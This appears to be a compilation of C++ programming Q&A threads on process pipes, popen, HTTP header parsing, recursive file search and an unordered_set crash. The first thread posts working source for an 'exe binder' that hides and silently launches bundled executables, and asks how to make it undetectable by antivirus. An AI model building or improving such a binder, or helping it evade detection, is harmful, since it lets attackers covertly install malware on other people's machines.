About a undetectable exe binder - c++

I made an exe binder (which can bind multiple exes without any error checking, anyway), it works as expected, only that the antivirus screams instantly :(
Here is the source code:
#undef UNICODE
#include <Windows.h>
#include <fstream>
#include <vector>
#include <string>
#define SEPARATOR "*****"
#define SEPARATOR_SIZE strlen(SEPARATOR)
void FindAllOccurrences(const std::string& data, const std::string& query, std::vector<size_t>& occurancesPoss) {
size_t pos = data.find(query);
while(pos != std::string::npos) {
occurancesPoss.push_back(pos);
pos = data.find(query, pos + query.size());
}
}
inline void FileAsString(const std::string& file, std::string& str, const std::ios_base::openmode iosOM = std::ios::binary) {
std::ifstream ifs(file, iosOM);
str.assign((std::istreambuf_iterator<char>(ifs)), std::istreambuf_iterator<char>());
}
void Bind(const std::vector<std::string>& files, const std::string& fileBinded, const std::string& fileOpener) {
std::ofstream ofs(fileBinded, std::ios::binary);
ofs << std::ifstream(fileOpener, std::ios::binary).rdbuf() << SEPARATOR;
size_t index = files.size();
for(auto& file : files) {
ofs << std::ifstream(file, std::ios::binary).rdbuf();
if(--index) {
ofs << SEPARATOR;
}
}
}
void Open(const std::string& file) {
std::string data;
FileAsString(file, data);
std::vector<size_t> occurancesPoss;
FindAllOccurrences(data, SEPARATOR, occurancesPoss);
std::vector<std::string> exes;
for(size_t i = 1; i < occurancesPoss.size() - 1; i++) {
std::string exeName(std::to_string(i) + ".exe");
std::ofstream ofs(exeName, std::ios::binary);
size_t exeStart = occurancesPoss[i] + SEPARATOR_SIZE;
ofs << data.substr(exeStart, occurancesPoss[i + 1] - exeStart);
exes.push_back(exeName);
}
{
std::string exeName(std::to_string(occurancesPoss.size() - 1) + ".exe");
std::ofstream ofs(exeName, std::ios::binary);
ofs << data.substr(occurancesPoss.back() + SEPARATOR_SIZE);
exes.push_back(exeName);
}
for(auto& exe : exes) {
SetFileAttributes(exe.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY);
ShellExecute(nullptr, "open", exe.c_str(), nullptr, nullptr, SW_NORMAL);
}
}
int main(int argc, char** argv) {
if(argc > 1) {
Bind(std::vector<std::string>(&argv[1], argv + argc - 1), argv[argc - 1], argv[0]);
} else {
Open(argv[0]);
}
return 0;
}
My question is, what makes an exe binder undetectable and how to make it.
I think that the opener code should be the one which needs to be changed. Correct me if I am wrong.
If you got any feedback for the code hit me up. (about the error checking.. I didn't add it for the sake of simplicity).
Thank you in advance!

What is the purpose of this application? You're using Windows API functions that are mosst commonly used in bad software. That's why the Anti Virus scanners are reacting.

Related

problem getting forked process to read from STDIN using pipes

I am trying to create a helper class to execute a system command and get response back with piping support. For the cases where I need to get the response only (no STDIN to consume for the command) it is working as expected, for pipe support, I am getting garbled STDIN and I can not find out the root cause.
The main function which handles this mechanism is (please ignore the minor error check issues)
the minimal working example
#include <vector>
#include <string>
#include <iostream>
#include <sstream>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdarg.h>
struct exec_cmd_t {
exec_cmd_t(std::vector<std::string> args) : args(args), has_executed(false), cpid(-1) { }
exec_cmd_t(const exec_cmd_t &) = delete;
exec_cmd_t(exec_cmd_t &&) = delete;
exec_cmd_t & operator=(const exec_cmd_t &) = delete;
exec_cmd_t & operator=(exec_cmd_t &&) = delete;
std::string operator()();
std::string pipe_cmd(const std::string & input);
std::string pipe_cmd();
~exec_cmd_t();
private:
std::vector<std::string> args;
bool has_executed;
int cpid;
std::stringstream in_stream;
std::stringstream out_stream;
friend std::string operator | (exec_cmd_t & first, exec_cmd_t & second);
friend std::string operator | (exec_cmd_t && first, exec_cmd_t && second);
friend std::string operator | (std::string, exec_cmd_t & second);
friend std::string operator | (std::string, exec_cmd_t && second);
};
std::string exec_cmd_t::pipe_cmd(const std::string & input) {
this->has_executed = true;
const int read_end = 0;
const int write_end = 1;
int read_pipe[2];
int write_pipe[2];
if (pipe(read_pipe) < 0 || pipe(write_pipe) < 0) {
this->has_executed = false;
return std::string{};
}
this->in_stream << input;
std::string line;
while(getline(this->in_stream, line)) {
if (line.size() == 0) {
continue;
}
int wr_sz = write(write_pipe[write_end], line.c_str(), line.size());
if (wr_sz <= 0) {
break;
}
write(write_pipe[write_end], "\n", 1);
}
close(write_pipe[write_end]);
this->cpid = fork();
if (this->cpid == 0) {
dup2(write_pipe[read_end], STDIN_FILENO);
dup2(read_pipe[write_end], STDOUT_FILENO);
close(read_pipe[read_end]);
close(write_pipe[write_end]);
close(read_pipe[write_end]);
close(write_pipe[read_end]);
prctl(PR_SET_PDEATHSIG, SIGTERM);
char * params[args.size()];
const char * image_path = args[0].c_str();
for(int i = 1; i < args.size(); i++) {
params[i-1] = const_cast<char *>(args[i].c_str());
}
params[args.size()] = nullptr;
execv(image_path, params);
exit(1);
}
close(read_pipe[write_end]);
close(write_pipe[read_end]);
char buff[256];
int rd_sz = -1;
int flags = fcntl(read_pipe[0], F_GETFL, 0);
fcntl(read_pipe[read_end], F_SETFL, flags | O_NONBLOCK);
int status = 0;
waitpid(this->cpid, &status, 0);
this->has_executed = false;
int error_code = 0;
while((rd_sz = read(read_pipe[read_end], buff, sizeof(buff))) > 0) {
buff[rd_sz] = '\0';
this->out_stream << std::string{buff};
}
close(read_pipe[read_end]);
return this->out_stream.str();
}
std::string exec_cmd_t::pipe_cmd() {
static std::string empty_str{};
return pipe_cmd(empty_str);
}
std::string exec_cmd_t::operator()() {
return pipe_cmd();
}
exec_cmd_t::~exec_cmd_t() {
if (this->has_executed) {
int status;
waitpid(this->cpid, &status, WNOHANG);
if (!WIFEXITED(status)) {
kill(this->cpid, SIGKILL);
waitpid(this->cpid, &status, 0);
}
}
}
std::string operator | (exec_cmd_t & first, exec_cmd_t & second) {
return second.pipe_cmd(first());
}
std::string operator | (exec_cmd_t && first, exec_cmd_t && second) {
return second.pipe_cmd(first());
}
std::string operator | (std::string output, exec_cmd_t & second) {
return second.pipe_cmd(output);
}
std::string operator | (std::string output, exec_cmd_t && second) {
return second.pipe_cmd(output);
}
int main() {
auto str = exec_cmd_t{ {"/bin/echo", "echo", "hello\nworld\nor\nnot"} } | exec_cmd_t{ {"/bin/grep", "grep", "world", "-"} };
std::cout << str << std::endl;
return 0;
}
gives me
grep: =V: No such file or directory
(standard input):world
It seems like grep is executing twice, one failing with no such file or directory and another one is succeeding. Any suggestion would be very helpful :-) .
Thanks in advance.
You have at east one cause for Undefined Behaviour that may cause your program to do what it does. You declare and use a VLA out-of-range like this:
char* params[args.size()];
...
params[args.size()] = nullptr;
execv(image_path, params);
This leaves the terminating char* in your params uninitialized so it could point anywhere. grep thinks it points at a filename, tries to open it and fails.
Since VLA:s aren't in the C++ standard, consider changing it to:
std::vector<char*> params(args.size());
...
params[args.size() - 1] = nullptr;
execv(image_path, params.data());
Another cause for concern is that you use ints where you should have used ssize_ts even though it's highly unlikely that you've read or written more than an int could handle.
After I made those changes, it started working and printed the expected world. I even added a third command to check it could handle it. Suggested changes:
14,15c14,15
< exec_cmd_t(std::vector<std::string> args) :
< args(args), has_executed(false), cpid(-1) {}
---
> exec_cmd_t(std::vector<std::string> Args) :
> args(Args), has_executed(false), cpid(-1), in_stream{}, out_stream{} {}
59c59
< int wr_sz = write(write_pipe[write_end], line.c_str(), line.size());
---
> ssize_t wr_sz = write(write_pipe[write_end], line.c_str(), line.size());
76c76
< char* params[args.size()];
---
> std::vector<char*> params(args.size());
78c78
< for(int i = 1; i < args.size(); i++) {
---
> for(decltype(args.size()) i = 1; i < args.size(); i++) {
81,82c81,82
< params[args.size()] = nullptr;
< execv(image_path, params);
---
> params[args.size() - 1] = nullptr;
> execv(image_path, params.data());
90c90
< int rd_sz = -1;
---
> ssize_t rd_sz = -1;
96c96
< int error_code = 0;
---
> // int error_code = 0; // unused
106,107c106
< static std::string empty_str{};
< return pipe_cmd(empty_str);
---
> return pipe_cmd({});
143c142,143
< exec_cmd_t{{"/bin/grep", "grep", "world", "-"}};
---
> exec_cmd_t{{"/bin/grep", "grep", "-A1", "hello"}} |
> exec_cmd_t{{"/bin/grep", "grep", "world"}};
I also realized that your program acts like a proxy between the piped commands, reading everything from one command and writing it to the next.
You could start all programs at the same time and setup the pipes between the started programs in one go. For three commands, you'd need three pipes:
cmd1 cmd2 cmd3
| w--r w--r |
stdin read output into program
or fed by your program
This would make performance and memory consumption less of an issue if you decide to run commands with a lot of output. Internally you'd would only need to store what you'd like to store by reading the output from the last command. I made a small test of this approach and it works like a charm.

Insert into an unordered_set failed

First of all, this is NOT my own code! It's taken from Google's Android sourcecode https://android.googlesource.com/platform/art/+/android-9.0.0_r10/tools/hiddenapi/hiddenapi.cc
So, it should be tested and should work! But, it fails at the point "insert..."
Short code:
/*...*/
std::unordered_set<std::string> light_greylist_;
/*...*/
/*Caller:*/ OpenApiFile(light_greylist_path_, &light_greylist_);
bool OpenApiFile(const std::string& path, std::unordered_set<std::string>* list) {
std::ifstream api_file(path, std::ifstream::in);
for (std::string line; std::getline(api_file, line);) {
/* line IS filled; I've checked it with a simple fprintf(): [this IS my code for testing]*/
FILE *stream = fopen("test.txt", "a+");
fprintf(stream, "%s\n", line.c_str());
fclose(stream);
/* This is the point where it crashes with an "Illegal instruction (core dumped)"*/
list->insert(line);
}
api_file.close();
return true;
}
What goes wrong?
I'd make list a reference instead of a pointer. It's hard to say why the original code uses pointers since it'll most probably crash if called with NULL. Also check that the file has been successfully opened (even though it seems to have succeeded for you this time).
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <unordered_set>
bool OpenApiFile(const std::string& path, std::unordered_set<std::string>& list) {
std::ifstream api_file(path, std::ifstream::in);
if (!api_file) {
return false;
}
for (std::string line; std::getline(api_file, line);) {
list.insert(line);
}
return true;
}
int main(int argc, char* argv[]) {
std::vector<std::string> files(argv+1, argv+argc);
for(auto& light_greylist_path_ : files) {
std::unordered_set<std::string> light_greylist_;
if (OpenApiFile(light_greylist_path_, light_greylist_) == false) {
std::cerr << "failed opening "+light_greylist_path_+"\n";
} else {
for(auto& lg : light_greylist_) {
std::cout << lg << "\n";
}
}
}
return 0;
}

Parse HTTP headers in C++

I am using curl to communicate with a server.
When I make a request for data I receive the HTTP headers followed by jpeg data separated by a boundary like so:
I need to parse out
The boundary string
The Content-Length.
I have copied the incoming data to a a char array like so:
static size_t OnReceiveData ( void * pvData, size_t tSize, size_t tCount, void * pvUser )
{
printf("%*.*s", tSize * tCount, tSize * tCount, pvData);
char* _data;
if(pvData != nullptr && 0 != tCount)
{
_data = new char[tCount];
memcpy(_data, pvData, tCount);
}
return ( tCount );
}
How can I best do this in C++?? How do I actually inspect and parse the _data array for the information that I want?? Are the any boost libraries that I can use for example??
You could parse the headers on the fly or put them into a map and post-process later.
Use find, substr methods from the std::string.
Look at Boost String Algorithms Library, it contains lots of algorithms, e.g. trim
e.g. to place headers into the std::map and print them (rough cuts):
#include <stdlib.h>
#include <iostream>
#include <sstream>
#include <string>
#include <map>
#include <boost/algorithm/string.hpp>
int main(int argc, char* argv[]) {
const char* s = "HTTP/1.1 200 OK\r\n"
"Content-Type: image/jpeg; charset=utf-8\r\n"
"Content-Length: 19912\r\n\r\n";
std::map<std::string, std::string> m;
std::istringstream resp(s);
std::string header;
std::string::size_type index;
while (std::getline(resp, header) && header != "\r") {
index = header.find(':', 0);
if(index != std::string::npos) {
m.insert(std::make_pair(
boost::algorithm::trim_copy(header.substr(0, index)),
boost::algorithm::trim_copy(header.substr(index + 1))
));
}
}
for(auto& kv: m) {
std::cout << "KEY: `" << kv.first << "`, VALUE: `" << kv.second << '`' << std::endl;
}
return EXIT_SUCCESS;
}
You will get the output:
KEY: `Content-Length`, VALUE: `19912`
KEY: `Content-Type`, VALUE: `image/jpeg; charset=utf-8`
Having the headers, you could extract the required ones for post-processing.
I would put all headers in a map, after which you can easily iterate through it. No boost needed. Here a basic working example with libcurl:
#include <iostream>
#include <string>
#include <map>
#include <curl/curl.h>
static size_t OnReceiveData (void * pData, size_t tSize, size_t tCount, void * pmUser)
{
size_t length = tSize * tCount, index = 0;
while (index < length)
{
unsigned char *temp = (unsigned char *)pData + index;
if ((temp[0] == '\r') || (temp[0] == '\n'))
break;
index++;
}
std::string str((unsigned char*)pData, (unsigned char*)pData + index);
std::map<std::string, std::string>* pmHeader = (std::map<std::string, std::string>*)pmUser;
size_t pos = str.find(": ");
if (pos != std::string::npos)
pmHeader->insert(std::pair<std::string, std::string> (str.substr(0, pos), str.substr(pos + 2)));
return (tCount);
}
int main(int argc, char* argv[])
{
CURL *curl = curl_easy_init();
if (!curl)
return 1;
std::map<std::string, std::string> mHeader;
curl_easy_setopt(curl, CURLOPT_URL, "http://www.example.com");
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, OnReceiveData);
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &mHeader);
curl_easy_setopt(curl, CURLOPT_NOBODY, true);
curl_easy_perform(curl);
curl_easy_cleanup(curl);
std::map<std::string, std::string>::const_iterator itt;
for (itt = mHeader.begin(); itt != mHeader.end(); itt++)
{
if (itt->first == "Content-Type" || itt->first == "Content-Length")
std::cout << itt->first << ": " << itt->second << std::endl;
}
}
The cpp-netlib project (based on boost) contains a full MIME parser (written with boost.spirit).
I'm not really that happy with the interface of the parser, but it works well.

File Search c++

what is the best way of searching files on windows in c++. Should I use boost or there is a better way . I'm encountering some problems with building filesystem library. I found this:
#include <stdio.h>
#include <dir.h>
#include <string.h>
#define ALL_ATTS (FA_DIREC | FA_ARCH)
void walker(const char *, const char *);
void walker(const char *path, const char *findme)
{
struct ffblk finder;
unsigned int res;
chdir(path);
for (res = findfirst("*.*", &finder, ALL_ATTS); res == 0; res = findnext(&finder))
{
if (strcmp(finder.ff_name, ".") == 0) continue; /* current dir */
if (strcmp(finder.ff_name, "..") == 0) continue; /* parent dir */
/*
* If its a directory, examine it
* else compare the filename with the one we're looking for
*/
if (finder.ff_attrib & FA_DIREC)
{
char newpath[MAXPATH];
strcpy(newpath, path);
strcat(newpath, "\\");
strcat(newpath, finder.ff_name);
chdir(finder.ff_name);
walker(newpath, findme);
chdir("..");
}
else
{
if (strcmp(finder.ff_name, findme) == 0)
{
printf("Found in: %s\n", path);
}
}
}
}
int main(void)
{
const char *root = "\\";
char buf[BUFSIZ];
printf ("This program will find a file on the current drive.\n"
"Enter the name of the file to look for: ");
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin))
{
strtok(buf, "\n"); /* Remove the newline character */
walker(root, buf);
}
return(0);
}
But none of the versions of dir headers works ...
I've found boost::filesystem to work quite well, as long as you know what you are doing. The following works for me:
#include <iostream>
#include <string>
#include "boost/filesystem.hpp"
namespace fs = boost::filesystem;
int _tmain(int argc, _TCHAR* argv[])
{
const std::string start = "C:\\";
const std::string findme = "winsock.dll";
fs::recursive_directory_iterator end;
fs::recursive_directory_iterator rdi(start);
while(rdi != end)
{
const std::string path = rdi->path().string();
if(path.find(findme) != std::string::npos)
{
std::cout << path << std::endl;
}
try
{
++rdi; // various system directories can bork this
}
catch(fs::filesystem_error e)
{
rdi.no_push(); // don't try to recurse into it
++rdi;
}
}
return 0;
}
You may want to consider Win32 APIs like FindFirstFile,FindNextFile, etc.
There are some sample codes on MSDN, like this.
You may want to have a look at the recls library made by Matthew Wilson.
The code you've found looks like it uses functions specific to some particular "standard" library (and may even have been written for MS-DOS). Secondarily, it uses a depth-first search; for directory searching, I usually prefer a breadth-first search.
I'd try to use Windows desktop search and/or Windows Search as the first choices. These will use pre-built indexes for really fast results if the user has that enabled.
If that's not available, I'd use code for a breadth-first search, which looks roughly like this:
#include <windows.h>
#include <queue>
#include <sstream>
#include <iostream>
#include <algorithm>
// I think MS's names for some things are obnoxious.
const HANDLE HNULL = INVALID_HANDLE_VALUE;
const int A_DIR = FILE_ATTRIBUTE_DIRECTORY;
std::ostream &operator<<(std::ostream &os, FILETIME const &ft) {
SYSTEMTIME utc, lt;
FileTimeToSystemTime(&ft, &utc);
SystemTimeToTzSpecificLocalTime(NULL, &utc, &lt);
return os << lt.wHour << ":" << lt.wMinute << ":" << lt.wSecond << "." << lt.wMilliseconds;
}
void process(std::string const &path, WIN32_FIND_DATA const &file) {
std::cout << file.ftCreationTime << "\t" << path << file.cFileName << "\n";
}
void find_file(std::string const &folder_name, std::string const &fmask) {
HANDLE finder; // for FindFirstFile
WIN32_FIND_DATA file; // data about current file.
std::priority_queue<std::string, std::vector<std::string>, std::greater<std::string> > dirs;
dirs.push(folder_name); // start with passed directory
do {
std::string path = dirs.top();// retrieve directory to search
dirs.pop();
if (path[path.size()-1] != '\\') // normalize the name.
path += "\\";
std::string mask = path + fmask; // create mask for searching
// traverse a directory.
if (HNULL==(finder=FindFirstFile(mask.c_str(), &file))) {
continue;
}
do {
if (!(file.dwFileAttributes & A_DIR)) // print file names
process(path, file);
} while (FindNextFile(finder, &file));
FindClose(finder);
if (HNULL==(finder=FindFirstFile((path + "*").c_str(), &file)))
continue;
do {
if ((file.dwFileAttributes & A_DIR) && (file.cFileName[0] != '.'))
dirs.push(path + file.cFileName);
} while (FindNextFile(finder, &file));
FindClose(finder);
} while (!dirs.empty());
}
int main(int argc, char **argv) {
if (argc > 2)
find_file(argv[1], argv[2]);
else
find_file("C:\\", "*");
return 0;
}

Reading popen results in C++

I am writing a C++ application and I need to read the result of a system command.
I am using popen() more or less as shown here:
const int MAX_BUFFER = 2048;
string cmd="ls -l";
char buffer[MAX_BUFFER];
FILE *stream = popen(cmd.c_str(), "r");
if (stream){
while (!feof(stream))
{
if (fgets(buffer, MAX_BUFFER, stream) != NULL)
{
//here is all my code
}
}
pclose(stream);
}
I've been trying to re-write this in a different way. I saw some non-standard solutions like:
FILE *myfile;
std::fstream fileStream(myfile);
std::string mystring;
while(std::getline(myfile,mystring))
{
// .... Here I do what I need
}
My compiler does not accept this though.
How can I read from popen in C++?
Your example:
FILE *myfile;
std::fstream fileStream(myfile);
std::string mystring;
while(std::getline(myfile,mystring))
Does't work because although you're very close the standard library doesn't provide an fstream that can be constructed from a FILE*. Boost iostreams does however provide an iostream that can be constructed from a file descriptor and you can get one from a FILE* by calling fileno.
E.g.:
typedef boost::iostreams::stream<boost::iostreams::file_descriptor_sink>
boost_stream;
FILE *myfile;
// make sure to popen and it succeeds
boost_stream stream(fileno(myfile));
stream.set_auto_close(false); // https://svn.boost.org/trac/boost/ticket/3517
std::string mystring;
while(std::getline(stream,mystring))
Don't forget to pclose later still.
Note: Newer versions of boost have deprecated the constructor which takes just a fd. Instead you need to pass one of boost::iostreams::never_close_handle or boost::iostreams::close_handle as a mandatory second argument to the constructor.
Here is something which i wrote long back, may help you. It might have some errors.
#include <vector>
#include <string>
#include <stdio.h>
#include <iostream>
bool my_popen (const std::string& cmd,std::vector<std::string>& out ) {
bool ret_boolValue = true;
FILE* fp;
const int SIZEBUF = 1234;
char buf [SIZEBUF];
out = std::vector<std::string> ();
if ((fp = popen(cmd.c_str (), "r")) == NULL) {
return false;
}
std::string cur_string = "";
while (fgets(buf, sizeof (buf), fp)) {
cur_string += buf;
}
out.push_back (cur_string.substr (0, cur_string.size () - 1));
pclose(fp);
return true;
}
int main ( int argc, char **argv) {
std::vector<std::string> output;
my_popen("ls -l > /dev/null ", output);
for ( std::vector<std::string>::iterator itr = output.begin();
itr != output.end();
++itr) {
std::cout << *itr << std::endl;
}
}